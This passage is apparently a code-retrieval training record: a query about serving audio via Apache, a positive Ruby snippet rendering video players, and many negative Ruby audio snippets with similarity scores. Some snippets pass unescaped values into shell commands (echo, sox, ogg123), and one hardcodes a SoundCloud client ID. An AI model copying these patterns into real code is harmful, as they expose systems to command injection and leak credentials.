./web/source/audio/`\n end", "def show\n @song = Song.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n format.mp3 {\n file = File.read(@song.location)\n send_data(file, :type => \"audio/mpeg\", :filename => \"#{@song.id}.mp3\", :disposition => \"inline\")\n }\n end\n end", "def audio\n first_stream_of :audio\n end", "def url\n @url ||= File.join(AUDIO_URL_ROOT, self.path) if self.live?\n end", "def play_music\n pid = fork{ exec 'afplay', \"app/models/coffee_music.mp3\" }\nend", "def play_file(file)\n system(\"ogg123 #{file}\")\n end", "def send_data(s, data)\n\n if USE_MP3\n audio_data = `echo '#{data}' | base64 --decode | sox -r 8000 -c 1 -e mu-law -t raw - -r 48000 -c 1 -t mp3 -`\n else\n audio_data = `echo '#{data}' | base64 --decode | opusenc --quiet --raw --raw-bits 8 --raw-rate 8000 --raw-chan 1 --bitrate 96 - -`\n end\n m = ShoutMetadata.new\n m.add 'filename', \"e#{5}_#{SecureRandom.urlsafe_base64}.mp3\"\n m.add 'title', \"My episode\"\n m.add 'artist', \"Mo\"\n s.metadata = m\n s.send audio_data\n s.sync\n\nend", "def show\n\ttrack = Track.find(params[:id])\n\n\tstream_url = track.stream_url ? track.stream_url : ''\n\tfilename = track.artist.name + ' - ' + track.title\n\n\tdownloader = SoundCloud::Downloader::Client.new(client_id: \"e713c46023d1b1d92c262e6ba915d4d0\")\n\turl = downloader.resolve(stream_url)\n\n\n\n\t# Makes the browser download the file\n\tsend_data open(url).read,\n\t\t:type => \"audio/mpeg\",\n\t\t:disposition => \"attachment; filename=\\\"#{filename}.mp3\\\"\"\n end", "def codec\n \"-acodec libmp3lame -y\"\n end", "def audios_test\n end", "def play_sound\n system 'afplay ./app/sounds/test_sound.mp3 &'\n end", "def get_audio_samples \n send_cmd(\"get_audio_samples\")\n end", "def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{CALL_PATH}/#{id}/audio\"), data)[0]\n end", "def handle_music(music)\n return false if $config['music_file']['process'] != true\n log(\"handle_music -> do something with the music file #{music.file}\")\n ap $config['music_file']['storage'] if $opt[\"debug\"]\nend", "def show\n @call = Call.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @call }\n format.oga {\n if @call.audio\n send_file @call.audio.data.path, :type => @call.audio.data_content_type, :disposition => 'inline'\n else\n redirect_to :status => 404\n end\n }\n end\n end", "def audio_path(source, options = T.unsafe(nil)); end", "def check_audio\n post(:action => \"check-audio\")\n end", "def show\n @talk = Talk.find(params[:id])\n\n respond_to do |format|\n # format.json { render json: {:talk => @talk, :audio => @talk.audio} }\n format.json { send_file @talk.audio.path, :type => \"audio/mp3\"}\n end\n end", "def audio?\n !!( content_type =~ Transit.config.audio_regexp )\n end", "def setup_audio!\n self.gun_sound = AudioNode.new($asset_manager, \"Sound/Effects/Gun.wav\", false)\n gun_sound.positional = false\n gun_sound.looping = false\n gun_sound.volume = 3\n root_node.attach_child(gun_sound)\n\n self.ambient_noise = AudioNode.new(asset_manager, \"assets/sound/lost.ogg\", false)\n ambient_noise.looping = true\n ambient_noise.positional = true\n ambient_noise.local_translation = Vector3f::ZERO.clone\n ambient_noise.volume = 2\n root_node.attach_child(ambient_noise)\n ambient_noise.play\n end", "def simple_audio_player_library_tag\n javascript_include_tag development_mode? ? 'simple_audio_player/audio-player.js' : 'simple_audio_player/audio-player-uncompressed.js'\n end", "def public_file_server; end", "def public_file_server; end", "def http_test_4\n Net::HTTP.start('download.openbricks.org') do |http|\n f = File.open('http_test_4.mp4', 'wb')\n begin\n http.request_get('/sample/H2645/big_buck_bunny_480p_H264_AAC_25fps_1800K.MP4') do |resp|\n resp.read_body do |segment|\n f.write segment\n end\n end\n ensure\n f.close\n end\n end\nend", "def public_path(folder_name, file_name)\n \"./audio/#{folder_name}/#{file_name}\"\n end", "def audio(filename, opts = {})\n n = input(filename, opts)\n @audios << n\n n\n end", "def playaudio\n respond_to do |format|\n format.js { render partial: 'podcastapp/audioplayer/audioplayer' }\n end\n\n end", "def play\n path=\"\"\n @song = Song.where(:id=>params[:id]).first\n @audio = @song.audio\n @audio_path = @audio.id.to_s+\".mp3\"\n @audioimage_path = audioimagepath(@audio)\n respond_to do |format|\n format.html\n format.js\n end\n end", "def run_player_for(audio_file)\n @mp = JavaMusicPlayer.new(audio_file)\n @mp.play\n end", "def http_test_3\n File.open('http_test_3.mp4', 'wb') do |f|\n f.write RestClient.get(URL)\n end\nend", "def bubble_sound\n pid = fork{exec 'afplay', \"lib/Large_bubble_sound.mp3\"}\n end", "def copy_audio(stream, index)\n disposition = (index == 0) ? 'default' : 'none'\n title = (stream[:channels] > 2) ? 'Surround Track' : 'Stereo Track'\n return [ \"-map 0:a:#{stream[:index]}\",\n \"-metadata:s:a:#{index} title='#{title}'\",\n \"-metadata:s:a:#{index} language=#{stream[:language]}\",\n \"-disposition:a:#{index} #{disposition}\",\n \"-codec:a:#{index} copy\" ]\nend", "def audio?\n has_stream_of :audio\n end", "def speech_analysis(url)\r\n return iod_request('recognizespeech',\r\n {:url => url, :language => $audio_language, :apikey => $api_key})\r\nend", "def play\n\t\treturn \"stoffi:track:youtube:#{youtube_id}\" if youtube?\n\t\treturn \"stoffi:track:soundcloud:#{soundcloud_id}\" if soundcloud?\n\t\treturn url\n\tend", "def play_file(file)\n system(\"afplay #{file}\")\n end", "def play_file(file)\n system(\"afplay #{file}\")\n end", "def process_audio\n `ffmpeg -y #{debug_settings} -i #{@filename} -c:a libfdk_aac -b:a 128k -vn #{audio_filepath}`\n `mp4fragment #{audio_filepath} #{audio_filepath_fragmented}`\n FileUtils.rm audio_filepath\n end", "def main\n doc = Nokogiri::HTML(open(START_URI))\n dirs_to_search = doc.css('a').map{|x|x[:href]}.grep(%r{/SolaceSounds/SolaceSounds})\n\n streams_to_rip = []\n\n dirs_to_search.each do |dir|\n puts \"Searching #{HOST}#{dir}\"\n\n # don't overwhelm the server\n sleep 1\n\n subdir = Nokogiri::HTML(open(HOST + dir))\n streams_to_grab = subdir.css('a').map{|x|x[:href]}.grep(%r{\\.mp3})\n streams_to_rip.concat(streams_to_grab)\n end\n\n # we've found all of the mp3 streams, now we grab them\n streams_to_rip.each do |url|\n if stream_already_downloaded(url)\n puts \"skipping url: #{url}\"\n next\n end\n rip_stream(url)\n move_ripped_file(url)\n set_mp3_tags(url)\n end\nend", "def args(options = {})\n \"-an\" if options[:audio].eql?(false)\n end", "def reverse\n if request.post?\n @audio = input_mp3_path = params[:mp3].tempfile.path.to_s if request.post?\n new_mp3_path = \"#{Rails.root}/public/audios#{input_mp3_path}\"\n FileUtils.cp @audio, \"#{new_mp3_path}.mp3\"\n @sox = `sox #{new_mp3_path}.mp3 #{new_mp3_path}r.mp3 reverse`\n render 'shell/player'\n else\n render 'shell/upload'\n end\n end", "def audio(path, attr=nil)\n attr ||= {}\n attr.merge!( {width: 0, height: 0, hidden: true} )\n video(path, attr)\nend", "def audio\n @audio ||= (\n id = @params[:audio_track]\n ::Audio.find(id) if id\n )\n end", "def play(playlist)\n playlist.run\n @music_pid = fork do\n exec \"mplayer\", \"-cache\", \"1024\", \"-really-quiet\", \"-noconsolecontrols\", \n \"-ao\", \"alsa:device=hw=#{@number}.0\", playlist.url \n end\n end", "def extract_audio(infile)\n\n infile = Path[infile]\n \n p infile\n \n unless infile.exists?\n STDERR.puts \"Couldn't find #{infile}\"\n return\n end\n\n #unless VALID_EXTS.include? infile.ext\n # STDERR.puts \"Unrecognized video format: #{infile.ext}\"\n # return\n #end\n \n if infile =~ %r{^/dev/fd/}\n outfile = Path.pwd/\"#{infile.filename}.mp3\" \n else \n outfile = infile.with(:ext=>\"mp3\")\n end\n\n if outfile.exists?\n puts \"Error: #{outfile} exists!\"\n return\n end \n \n puts\n puts \"Input: #{infile}\"\n puts \"Output: #{outfile}\"\n puts\n \n # -lameopts q=5\n cmd = %w[mencoder -of rawaudio -oac mp3lame -ovc copy -o] + [outfile.to_s, infile.to_s]\n system(*cmd)\n \nend", "def start\n if running?\n stop\n else\n File.unlink(\"#{@server_root}/httpd.pid\") rescue nil\n end\n\n if @codesigning_identity\n system \"codesign\", \"-s\", @codesigning_identity, \"--keychain\", File.expand_path(\"~/Library/Keychains/login.keychain-db\"), @mod_passenger\n end\n\n if File.exist?(@server_root)\n FileUtils.rm_r(@server_root)\n end\n FileUtils.mkdir_p(@server_root)\n write_config_file\n FileUtils.cp(\"#{STUB_DIR}/mime.types\", @server_root)\n\n command = [PlatformInfo.httpd, \"-f\", \"#{@server_root}/httpd.conf\", \"-k\", \"start\"]\n if boolean_option('VALGRIND')\n command = ['valgrind', '--dsymutil=yes', '--vgdb=yes',\n '--vgdb-error=1', '--trace-children=no'] + command\n end\n\n if !system(*command)\n raise \"Could not start an Apache server.\"\n end\n\n begin\n # Wait until the PID file has been created.\n Timeout::timeout(20) do\n while !File.exist?(\"#{@server_root}/httpd.pid\")\n sleep(0.1)\n end\n end\n # Wait until Apache is listening on the server port.\n Timeout::timeout(7) do\n done = false\n while !done\n begin\n socket = TCPSocket.new('localhost', @port)\n socket.close\n done = true\n rescue Errno::ECONNREFUSED\n sleep(0.1)\n end\n end\n end\n rescue Timeout::Error\n raise \"Could not start an Apache server.\"\n end\n Dir[\"#{@server_root}/*\"].each do |filename|\n if File.file?(filename)\n File.chmod(0666, filename)\n end\n end\n end", "def voice\n response = Twilio::TwiML::Response.new do |r|\n r.Say 'Hey there. Congrats on integrating Twilio into your Rails 4 app.', :voice => 'alice'\n r.Play 'http://linode.rabasa.com/cantina.mp3'\n end\n \n render_twiml response\n end", "def the_pods\n\tpod 'EZAudio', :git => 'https://github.com/rednebmas/EZAudio.git'\nend", "def tracks\n @tracks ||= begin\n assets_directory = File.join File.expand_path('../../../', __FILE__), 'assets'\n\n Dir.glob(File.join(assets_directory, '*.mp3')).map do |file|\n \"http://#{ip}:#{Ghosty::Settings.port}/#{File.basename(file)}\"\n end\n end\n end", "def audio?\n codec_type == 'audio'\n end", "def enable_audio(on: true)\n\n # Set the flag\n @audio_handler.audio = on\n\n # Update the icon\n @audio_sprite.path =\n if @audio_handler.audio\n 'vertices/sprites/audioOn.png'\n else\n 'vertices/sprites/audioOff.png'\n end\n\n end", "def stream\n begin\n # lookup the entry requested\n entry = Entry.find(params[:id])\n\n # send the associated file directly to the response\n send_file(entry.path, type: 'audio/mpeg', filename: params[:id])\n\n rescue RecordNotFound, MissingFile\n # if record or file missing, return 404\n render(status: 404)\n end\n end", "def call\n PollyService.update if @@polly.nil?\n mp3_file = Rails.root.join(\"#{@@audio_dir}/polly-#{@voice_id}-#{@entry.id}-#{@entry.updated_at}.mp3\")\n # don't request a new file from polly if the same file already exists\n return mp3_file if File.exist?(mp3_file)\n\n params = {\n response_target: mp3_file,\n output_format: 'mp3',\n text: @text,\n text_type: @type,\n voice_id: @voice_id\n }\n Rails.logger.debug \"Polly: #{params}\"\n begin\n @@polly&.synthesize_speech(params)\n rescue\n FileUtils.rm_f(mp3_file)\n return Rails.root.join(\"#{@@audio_dir}/buzzer.wav\")\n end\n mp3_file\n end", "def bridge_play bridge_id, audio\n post \"bridges/#{bridge_id}/audio\", audio.to_hash\n\n nil\n end", "def apache\n TemplateWriter.process(\n \"apache2_portus.conf.erb\",\n \"/etc/apache2/vhosts.d/portus.conf\",\n binding\n )\n\n if @options[\"secure\"]\n Runner.exec(\"a2enmod\", [\"ssl\"])\n Runner.exec(\"a2enflag\", [\"SSL\"])\n end\n Runner.exec(\"a2enmod\", [\"passenger\"])\n FileUtils.chown_R(\"wwwrun\", \"www\", \"/srv/Portus/log\")\n end", "def store_dir\n Rails.root.to_s + \"/audio/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n # \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def sound; end", "def play socket\n end", "def show\n path=\"\"\n @song = Song.where(:id=>params[:id]).first\n @user = @song.user\n @audio = @song.audio\n @audio_path = @audio.id.to_s+\".mp3\"\n @audioimage_path = audioimagepath(@audio)\n respond_to do |format|\n format.html\n format.js\n end\n end", "def audio_tag(*sources); end", "def extension_whitelist\n %w[mp3]\n end", "def start_music\n pid = fork { Play::Client.loop }\n Process.detach(pid)\nend", "def simple_audio_player_include_tag(config = {})\n force = config.delete(:force) || false\n config.reverse_merge!(@simple_audio_player_config)\n simple_audio_player_library_tag + \"\\n\" + simple_audio_player_init_tag(config) if @uses_simple_audio_player or force\n end", "def audio(*sources)\n options = sources.extract_options!.symbolize_keys\n sources = sources.shift if sources.size == 1\n\n if sources.is_a?(Array)\n content_tag(:audio, options) do\n sources.collect { |source| tag(:source, src: asset_path(source)) }.join(\"\\n\")\n end\n else\n tag(:audio, options.reverse_merge(src: asset_path(sources)))\n end\n end", "def start_music_service\n execute_system_cmd('/etc/init.d/music_daemon start')\n end", "def speak(title)\n\n a = KjReading.verses title\n\n a.each do |x|\n\n filename = download_ogg(x.title)\n command = @audio_player + ' ' + filename\n system command\n\n end\n\n end", "def download\n get_metadata\n check_prog_id\n generate_filename\n download_stream\n ffmpeg\n tag\n cleanup\n end", "def enable_site\n separator\n system \"sudo a2ensite #{@touch_file}\"\n separator\n sleep(1)\n system \"sudo /etc/init.d/apache2 restart\"\n end", "def vlc(*args)\n if args.size > 0\n m3ufile = @playlist.gen_m3u\n else\n m3ufile = Song.gen_m3u(@cursong.artist, [@cursong.info])\n end\n Pf.system(\"open -a vlc '#{m3ufile}'\", 1)\n end", "def show\n youtube\n soundcloud\n end", "def serve_directory(path)\n @response.status = 200\n if File.exists?(\"index.html\") || File.exists?(\"/index.html\")\n @response.body = read_file \"index.html\"\n @response.headers[\"Content-Type\"] = \"text/html\"\n else\n @response.headers[\"Content-Type\"] = \"text/html\"\n @response.body << DirectoryLister.list(path)\n end\n end", "def include_www\n puts \"Copying your web app directory\"\n FileUtils.mkdir_p File.join(@output_dir, \"assets\", \"www\")\n FileUtils.cp_r File.join(@www, \".\"), File.join(@output_dir, \"assets\", \"www\")\n end", "def audio?\n #or @volume == 0\n if @mute or @type == \"image\"\n #puts \"no audio\"\n return false\n else\n #puts \"has audio\"\n return true\n end\n end", "def audio?\n !!audio_stream\n end", "def main_audio\r\n super\r\n # Stop BGM and BGS\r\n $game_system.bgm_play(nil)\r\n $game_system.bgs_play(nil)\r\n # Play game over ME\r\n $game_system.me_play($data_system.gameover_me)\r\n end", "def serve\n @repository = Project.find(params[:id]).repositories.first\n\n repoName = File.basename(@repository.root_url, File.extname(@repository.root_url))\n path = \"/srv/documentation/#{ repoName }/#{ params[:file] }\"\n\n send_file path, :disposition => 'inline'\n end", "def play_songs\n MusicImporter.new(path).play_song\n end", "def play_tracks(releases)\n puts \"\\n***Press enter to skip***\"\n releases.each do |release|\n release.tracks.each do |track|\n puts \"Playing-> #{release.name} - #{track.name}\"\n begin\n tempfile = URI.parse(track.url).open\n tempfile.close\n FileUtils.mv tempfile.path, \"audio.mp3\"\n rescue\n puts \"Error: Something went wrong with the sample download.\"\n exit(1)\n end\n pid = fork{ \n begin\n exec 'afplay', \"audio.mp3\"\n rescue \n puts \"Error: Something went wrong with sample playback.\"\n exit(1)\n end\n }\n pid2 = fork{ \n input = gets \n kill(1, pid)\n }\n waitpid2(pid, 0) \n kill(1, pid2)\n if $?.exitstatus == 1 || 255\n break\n end\n end\n end\n end", "def open_narration(slide_no)\n if @type == 'm4a'\n @files.extract(\"ppt/media/media#{slide_no}.m4a\", \"#{Rails.root}/public/audios/#{$filename}media#{slide_no}.m4a\") rescue\n $filename+'media'+slide_no.to_s+'.m4a'\n end\n if @type == 'wav'\n\n @files.extract(\"ppt/media/media#{slide_no}.wav\", \"#{Rails.root}/public/audios/#{$filename}media#{slide_no}.wav\") rescue\n $filename+'media'+slide_no.to_s+'.wav'\n\n end\n end", "def livestream\n system(\"/home/pi/bin/startstream\") or raise \"Something went wrong.\"\n redirect_to :back\n end" ]
[ "0.5991261", "0.5906598", "0.5849579", "0.5799654", "0.57551384", "0.5699021", "0.5683428", "0.5673827", "0.5663674", "0.5614898", "0.55614704", "0.55393094", "0.55157477", "0.5492845", "0.54800117", "0.5458145", "0.54558307", "0.5393685", "0.53699785", "0.53555274", "0.5352797", "0.5340543", "0.53390604", "0.53360623", "0.53189474", "0.5291796", "0.5285457", "0.52662504", "0.5240934", "0.52374476", "0.5230231", "0.51839566", "0.5181663", "0.5153256", "0.51479685", "0.5131053", "0.51177585", "0.509076", "0.5069411", "0.5066675", "0.50324607", "0.5031672", "0.5031672", "0.5020101", "0.50153023", "0.50150645", "0.50037104", "0.49967268", "0.49955472", "0.498594", "0.49762487", "0.4973988", "0.49651703", "0.4939741", "0.49301288", "0.49152482", "0.49152482", "0.49106342", "0.49009776", "0.48987272", "0.48954436", "0.48880103", "0.4884147", "0.48790044", "0.48681405", "0.4867953", "0.48659235", "0.4855135", "0.48505512", "0.48472142", "0.48409858", "0.4836447", "0.48294452", "0.482707", "0.48234197", "0.48230937", "0.47969744", "0.4781254", "0.47792605", "0.47725275", "0.4769093", "0.47611555", "0.47485018", "0.47427708", "0.47340816", "0.47327188", "0.47309643", "0.4729667", "0.47276536", "0.4726259", "0.47158054", "0.47137693", "0.47134936", "0.471213", "0.47114542", "0.47074372", "0.47030446", "0.4697896", "0.46926907", "0.4689817" ]
0.5889198
2
serve audio directy via apache (apache needs to be configured to serve nuxeo repo)
def render_video_directly options={} # render video player content_tag(:div) do options[:value].collect do |video_md5| l1 = video_md5[0..1] l2 = video_md5[2..3] content_tag(:video, content_tag(:source, "I'm sorry; your browser doesn't support HTML5 video in MP4 with H.264.", src: "https://cspace-prod-02.ist.berkeley.edu/#TENANT#_nuxeo/data/#{l1}/#{l2}/#{video_md5}", id: 'video_md5', type: 'video/mp4'), controls: 'controls', style: 'width: 640px;') end.join.html_safe end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def audio_url(source, options = T.unsafe(nil)); end", "def songs\n<<<<<<< HEAD\n file=\"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\"\n if File.exists?(file)\n send_file(\n file,\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n else\n render nothing: true\n end\n=======\n send_file(\n \"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\",\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n>>>>>>> b71dc3f177d170c9fc8bde7924fd28f948e88acc\n end", "def render_audio_directly options={}\n # render audio player\n content_tag(:div) do\n options[:value].collect do |audio_md5|\n l1 = audio_md5[0..1]\n l2 = audio_md5[2..3]\n content_tag(:audio,\n content_tag(:source, \"I'm sorry; your browser doesn't support HTML5 audio in MPEG format.\",\n src: \"https://cspace-prod-02.ist.berkeley.edu/#TENANT#_nuxeo/data/#{l1}/#{l2}/#{audio_md5}\",\n id: 'audio_md5',\n type: 'audio/mpeg'),\n controls: 'controls',\n style: 'height: 60px; width: 640px;')\n end.join.html_safe\n end\n end", "def url_to_audio(source, options = T.unsafe(nil)); end", "def audio; end", "def audio\n \t@playlist = Playlist.last\n send_glued_audio('list', :playlist => @playlist)\n end", "def audio\n @audio ||= URI.parse(\"#{AUDIO_SERVICE_URL}/#{@language.slug}/#{URI::encode(@text)}.mp3\")\n end", "def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{CONFERENCE_PATH}/#{id}/audio\"), data)[0]\n end", "def download\n @audio = Audio.find(params[:id])\n send_file(RAILS_ROOT+\"/public\"+@audio.audio.url.split(\"?\")[0], :disposition => 'inline', :stream => false)\n end", "def audio_path(source)\n compute_public_path(source, 'audios')\n end", "def send_audio(url, name, audio_info = {})\n client.api.send_content(id, url, name, 'm.audio', extra_information: audio_info)\n end", "def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{BRIDGE_PATH}/#{id}/audio\"), data)[0]\n end", "def play\n voice = User.find_by(id: current_user.id).tts_voice\n logger.info '================ START TTS ==============='\n answer_audio_file = TtsService.call(@entry, voice)\n logger.info '================ END TTS ==============='\n respond_to do |format|\n format.html do\n response.headers[\"Cache-Control\"] = \"no-cache, no-store\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Mon, 01 Jan 1990 00:00:00 GMT\"\n expires_in 1.seconds, public: true\n send_file(answer_audio_file, type: 'audio/mpeg', disposition: 'inline')\n end\n end\n end", "def audio_path\n #TODO change path after Yura send information\n \"/audio/success.wav\"\n end", "def http_audio_url\n https_audio_url.gsub(/\\Ahttps/, 'http')\n end", "def audio_gen(slide)\n term = slide['term']\n kind = slide['kind'] || nil\n index = slide['index'] || nil\n file_name = file_name_gen(slide, \".WAV\")\n say = command_arg('[[slnc 1000]]' + slide['script'] + '[[slnc 1000]]')\n output = command_arg(file_name)\n `say -v Jill #{say} -o #{output}`\n slide['audio'] = file_name\nend", "def path_to_audio(source, options = T.unsafe(nil)); end", "def main_audio ; end", "def play_file(file)\n\t\tsystem(\"afplay #{file}\") #switching ogg123 to afplay\n\tend", "def render_audio_csid options={}\n # render audio player\n content_tag(:div) do\n options[:value].collect do |audio_csid|\n content_tag(:audio,\n content_tag(:source, \"I'm sorry; your browser doesn't support HTML5 audio in MPEG format.\",\n src: \"https://webapps.cspace.berkeley.edu/#TENANT#/imageserver/blobs/#{audio_csid}/content\",\n id: 'audio_csid',\n type: 'audio/mpeg'),\n controls: 'controls',\n style: 'height: 60px; width: 640px;')\n end.join.html_safe\n end\n end", "def make\n App.out.make_audio_file\nend", "def copy_audio_to_web_source(folder_name)\n `cp -r ./audio/#{folder_name}/ ./web/source/audio/`\n end", "def show\n @song = Song.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n format.mp3 {\n file = File.read(@song.location)\n send_data(file, :type => \"audio/mpeg\", :filename => \"#{@song.id}.mp3\", :disposition => \"inline\")\n }\n end\n end", "def audio\n first_stream_of :audio\n end", "def url\n @url ||= File.join(AUDIO_URL_ROOT, self.path) if self.live?\n end", "def play_music\n pid = fork{ exec 'afplay', \"app/models/coffee_music.mp3\" }\nend", "def play_file(file)\n system(\"ogg123 #{file}\")\n end", "def send_data(s, data)\n\n if USE_MP3\n audio_data = `echo '#{data}' | base64 --decode | sox -r 8000 -c 1 -e mu-law -t raw - -r 48000 -c 1 -t mp3 -`\n else\n audio_data = `echo '#{data}' | base64 --decode | opusenc --quiet --raw --raw-bits 8 --raw-rate 8000 --raw-chan 1 --bitrate 96 - -`\n end\n m = ShoutMetadata.new\n m.add 'filename', \"e#{5}_#{SecureRandom.urlsafe_base64}.mp3\"\n m.add 'title', \"My episode\"\n m.add 'artist', \"Mo\"\n s.metadata = m\n s.send audio_data\n s.sync\n\nend", "def show\n\ttrack = Track.find(params[:id])\n\n\tstream_url = track.stream_url ? track.stream_url : ''\n\tfilename = track.artist.name + ' - ' + track.title\n\n\tdownloader = SoundCloud::Downloader::Client.new(client_id: \"e713c46023d1b1d92c262e6ba915d4d0\")\n\turl = downloader.resolve(stream_url)\n\n\n\n\t# Makes the browser download the file\n\tsend_data open(url).read,\n\t\t:type => \"audio/mpeg\",\n\t\t:disposition => \"attachment; filename=\\\"#{filename}.mp3\\\"\"\n end", "def codec\n \"-acodec libmp3lame -y\"\n end", "def audios_test\n end", "def play_sound\n system 'afplay ./app/sounds/test_sound.mp3 &'\n end", "def get_audio_samples \n send_cmd(\"get_audio_samples\")\n end", "def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{CALL_PATH}/#{id}/audio\"), data)[0]\n end", "def handle_music(music)\n return false if $config['music_file']['process'] != true\n log(\"handle_music -> do something with the music file #{music.file}\")\n ap $config['music_file']['storage'] if $opt[\"debug\"]\nend", "def show\n @call = Call.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @call }\n format.oga {\n if @call.audio\n send_file @call.audio.data.path, :type => @call.audio.data_content_type, :disposition => 'inline'\n else\n redirect_to :status => 404\n end\n }\n end\n end", "def audio_path(source, options = T.unsafe(nil)); end", "def check_audio\n post(:action => \"check-audio\")\n end", "def show\n @talk = Talk.find(params[:id])\n\n respond_to do |format|\n # format.json { render json: {:talk => @talk, :audio => @talk.audio} }\n format.json { send_file @talk.audio.path, :type => \"audio/mp3\"}\n end\n end", "def audio?\n !!( content_type =~ Transit.config.audio_regexp )\n end", "def setup_audio!\n self.gun_sound = AudioNode.new($asset_manager, \"Sound/Effects/Gun.wav\", false)\n gun_sound.positional = false\n gun_sound.looping = false\n gun_sound.volume = 3\n root_node.attach_child(gun_sound)\n\n self.ambient_noise = AudioNode.new(asset_manager, \"assets/sound/lost.ogg\", false)\n ambient_noise.looping = true\n ambient_noise.positional = true\n ambient_noise.local_translation = Vector3f::ZERO.clone\n ambient_noise.volume = 2\n root_node.attach_child(ambient_noise)\n ambient_noise.play\n end", "def simple_audio_player_library_tag\n javascript_include_tag development_mode? ? 'simple_audio_player/audio-player.js' : 'simple_audio_player/audio-player-uncompressed.js'\n end", "def public_file_server; end", "def public_file_server; end", "def http_test_4\n Net::HTTP.start('download.openbricks.org') do |http|\n f = File.open('http_test_4.mp4', 'wb')\n begin\n http.request_get('/sample/H2645/big_buck_bunny_480p_H264_AAC_25fps_1800K.MP4') do |resp|\n resp.read_body do |segment|\n f.write segment\n end\n end\n ensure\n f.close\n end\n end\nend", "def public_path(folder_name, file_name)\n \"./audio/#{folder_name}/#{file_name}\"\n end", "def audio(filename, opts = {})\n n = input(filename, opts)\n @audios << n\n n\n end", "def playaudio\n respond_to do |format|\n format.js { render partial: 'podcastapp/audioplayer/audioplayer' }\n end\n\n end", "def play\n path=\"\"\n @song = Song.where(:id=>params[:id]).first\n @audio = @song.audio\n @audio_path = @audio.id.to_s+\".mp3\"\n @audioimage_path = audioimagepath(@audio)\n respond_to do |format|\n format.html\n format.js\n end\n end", "def run_player_for(audio_file)\n @mp = JavaMusicPlayer.new(audio_file)\n @mp.play\n end", "def http_test_3\n File.open('http_test_3.mp4', 'wb') do |f|\n f.write RestClient.get(URL)\n end\nend", "def bubble_sound\n pid = fork{exec 'afplay', \"lib/Large_bubble_sound.mp3\"}\n end", "def copy_audio(stream, index)\n disposition = (index == 0) ? 'default' : 'none'\n title = (stream[:channels] > 2) ? 'Surround Track' : 'Stereo Track'\n return [ \"-map 0:a:#{stream[:index]}\",\n \"-metadata:s:a:#{index} title='#{title}'\",\n \"-metadata:s:a:#{index} language=#{stream[:language]}\",\n \"-disposition:a:#{index} #{disposition}\",\n \"-codec:a:#{index} copy\" ]\nend", "def audio?\n has_stream_of :audio\n end", "def speech_analysis(url)\r\n return iod_request('recognizespeech',\r\n {:url => url, :language => $audio_language, :apikey => $api_key})\r\nend", "def play\n\t\treturn \"stoffi:track:youtube:#{youtube_id}\" if youtube?\n\t\treturn \"stoffi:track:soundcloud:#{soundcloud_id}\" if soundcloud?\n\t\treturn url\n\tend", "def play_file(file)\n system(\"afplay #{file}\")\n end", "def play_file(file)\n system(\"afplay #{file}\")\n end", "def process_audio\n `ffmpeg -y #{debug_settings} -i #{@filename} -c:a libfdk_aac -b:a 128k -vn #{audio_filepath}`\n `mp4fragment #{audio_filepath} #{audio_filepath_fragmented}`\n FileUtils.rm audio_filepath\n end", "def main\n doc = Nokogiri::HTML(open(START_URI))\n dirs_to_search = doc.css('a').map{|x|x[:href]}.grep(%r{/SolaceSounds/SolaceSounds})\n\n streams_to_rip = []\n\n dirs_to_search.each do |dir|\n puts \"Searching #{HOST}#{dir}\"\n\n # don't overwhelm the server\n sleep 1\n\n subdir = Nokogiri::HTML(open(HOST + dir))\n streams_to_grab = subdir.css('a').map{|x|x[:href]}.grep(%r{\\.mp3})\n streams_to_rip.concat(streams_to_grab)\n end\n\n # we've found all of the mp3 streams, now we grab them\n streams_to_rip.each do |url|\n if stream_already_downloaded(url)\n puts \"skipping url: #{url}\"\n next\n end\n rip_stream(url)\n move_ripped_file(url)\n set_mp3_tags(url)\n end\nend", "def args(options = {})\n \"-an\" if options[:audio].eql?(false)\n end", "def reverse\n if request.post?\n @audio = input_mp3_path = params[:mp3].tempfile.path.to_s if request.post?\n new_mp3_path = \"#{Rails.root}/public/audios#{input_mp3_path}\"\n FileUtils.cp @audio, \"#{new_mp3_path}.mp3\"\n @sox = `sox #{new_mp3_path}.mp3 #{new_mp3_path}r.mp3 reverse`\n render 'shell/player'\n else\n render 'shell/upload'\n end\n end", "def audio(path, attr=nil)\n attr ||= {}\n attr.merge!( {width: 0, height: 0, hidden: true} )\n video(path, attr)\nend", "def audio\n @audio ||= (\n id = @params[:audio_track]\n ::Audio.find(id) if id\n )\n end", "def play(playlist)\n playlist.run\n @music_pid = fork do\n exec \"mplayer\", \"-cache\", \"1024\", \"-really-quiet\", \"-noconsolecontrols\", \n \"-ao\", \"alsa:device=hw=#{@number}.0\", playlist.url \n end\n end", "def extract_audio(infile)\n\n infile = Path[infile]\n \n p infile\n \n unless infile.exists?\n STDERR.puts \"Couldn't find #{infile}\"\n return\n end\n\n #unless VALID_EXTS.include? infile.ext\n # STDERR.puts \"Unrecognized video format: #{infile.ext}\"\n # return\n #end\n \n if infile =~ %r{^/dev/fd/}\n outfile = Path.pwd/\"#{infile.filename}.mp3\" \n else \n outfile = infile.with(:ext=>\"mp3\")\n end\n\n if outfile.exists?\n puts \"Error: #{outfile} exists!\"\n return\n end \n \n puts\n puts \"Input: #{infile}\"\n puts \"Output: #{outfile}\"\n puts\n \n # -lameopts q=5\n cmd = %w[mencoder -of rawaudio -oac mp3lame -ovc copy -o] + [outfile.to_s, infile.to_s]\n system(*cmd)\n \nend", "def start\n if running?\n stop\n else\n File.unlink(\"#{@server_root}/httpd.pid\") 